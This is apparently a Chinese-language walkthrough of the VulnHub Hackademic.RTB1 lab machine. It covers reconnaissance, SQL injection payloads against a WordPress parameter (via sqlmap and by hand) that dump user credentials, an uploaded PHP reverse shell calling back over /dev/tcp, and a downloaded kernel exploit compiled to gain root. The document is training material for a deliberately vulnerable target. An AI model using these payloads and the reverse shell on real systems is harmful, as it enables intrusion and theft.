靶机地址:https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip
目标:获取root权限
如果靶机没有获取ip,记得重装后在开启前点击我已移动虚拟机
信息收集
- 内网主机搜寻
sudo arp-scan -l
- 主机端口扫描,这里采用最简单的扫描
nmap 10.0.0.117
- 看到有80端口,简单采取一下目录扫描
dirb http://10.0.0.117
- 收集一些扩展信息
web渗透
漏洞挖掘
- 直接访问80端口http://10.0.0.117
- 这个页面有可点击的地方,我们直接点击中间的靶机名
- 点击之后跳转网页如下
- 仔细观察,下面的no comments,edit,Uncategoried都是可点击的
- 我们试着点击查看是否有猫腻,这里直接点击Uncategoried
- 这里我们看到url中有个参数,可能存在sql注入漏洞
- 测试sql注入,在网址后面加上 ' ,并观察页面回显
- 出现了sql语法报错,并回显了sql查询语句,证明了此处存在sql注入漏洞,查询的语句为:
SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1
漏洞利用
方法一:sqlmap一把梭
- 在kali上使用sqlmap对存在sql注入的url传进去,并开始爆库
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs
- 成功爆出3个数据库
- 指定wordpress这个数据库爆表
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs -D wordpress --tables
- 成功爆出9张表
- 此刻开始指定用户表wp_users爆字段
sqlmap -u "http://10.0.0.117/Hackademic_RTB1/?cat=1" --dbs -D wordpress -T wp_users --dump
- 图中只有红色框是我们关心的,加密的hash值类似md5加密,所以我们测试在md5解密网站上解密密文,这里只解密第二个用户密文,其他密码明文已经给出
方法二:手工sql注入
-
在测试sql注入时,已经知道了存在sql语法报错
SELECT * FROM wp_categories WHERE cat_ID = 1\\\' LIMIT 1
- 根据数据库基础,我们应该是想先知道数据库到底有多少列?
- 我们可以使用order by num,排列的方法,如果页面报错则最多有报错数-1列 ,在url后加上order by 数字,直到页面报错为止
http://10.0.0.117/Hackademic_RTB1/?cat=1 order by 6
- 可见,到6就开始报错了,说明数据库最多有5列
- 接下来,我们应该想知道的是这5列中那个是可以被查询到数据的,于是,我们将使用union联合查询观察回显来判断
- 先将cat参数置0,这样前面的语句就不会被执行,直接执行union后的联合查询语句
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,2,3,4,5
- 从回显的信息来看,我们可以知道第二列是可以被我们利用的,这样的话,我们就可以在语句的第二列也就是2处注入我们的查询语句
- 比如说,我们想知道sql的版本信息,可以在2处注入version()
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,version(),3,4,5
- 接下来,我们想知道的是wordpress的后台登陆数据。从信息收集中我们知道,wordpress用的是1.5.1.1版本,百度一下看看这个版本的固定字段
- 比如说,我们想要查询wp_users这张表的user_login,user_pass这两个字段的数据,我们的sql语句是:
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,user_login,3,4,5 from wp_users
- 成功查询到一个账号
- 现在我们应该想要获取到账号和密码,使用group_concat这个函数将user_login和user_pass都查询出来
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,user_pass),3,4,5 from wp_users
- 我们将其美化一下就是在任意两个参数直接加入'-'方便观察,'-'的ascii编码是0x2d
http://10.0.0.117/Hackademic_RTB1/?cat=0 union select 1,group_concat(user_login,0x2d,user_pass),3,4,5 from wp_users
- 至此,手工sql注入结束
登陆后台
- 在漏洞利用中我们已经解密出了JohnSmith的密码,索性就直接使用这个登陆后台
- wordpress的默认后台地址:http://10.0.0.117/Hackademic_RTB1/wp-login.php
- 这个账号貌似没什么权限,换一个
反弹shell
- 这个账号有绝对的权限,我们挨个查找可以上传文件的地方
- 找到了文件上传的位置并开启
- 点击更新后,菜单中会显示文件上传按钮
- 我们写一个反向shell的php代码并命名为shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.116/7777 0>&1'"); ?>
- 上传反向shell文件
- 上传成功后,先在kali上启动nc监听,再在下面这个网址中启动反向shell
http://10.0.0.117/Hackademic_RTB1/wp-content/shell.php
- 反弹shell成功!
提权
- 查看sudo权限
sudo -l
- 失效
- 测试suid提权
find / -perm -u=s -type f 2>&/dev/null
- 失效
- 测试内核提权,查看内核版本
uname -a
- 查找相关的poc或exp (借鉴红队大佬笔记)
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation'
- 将其获取到kali上
locate linux/local/15285.c
sudo cp /usr/share/exploitdb/exploits/linux/local/15285.c .
- 在kali上开启http服务,便于靶机获取
python -m http.server 8080
- 靶机获取exp文件
wget http://10.0.0.116:8080/15285.c
- 将c文件编译后给定执行权限,再执行提权
gcc 15285.c -o 15285
chmod +x 15285
./15285
- 成功获取root权限,并读取flag文件
总结
- 理解了sql注入的手工注入的原理和奇淫技巧和sqlmap的魅力
- 学会写php的反向shell代码
- 内核提权的exp的查找技巧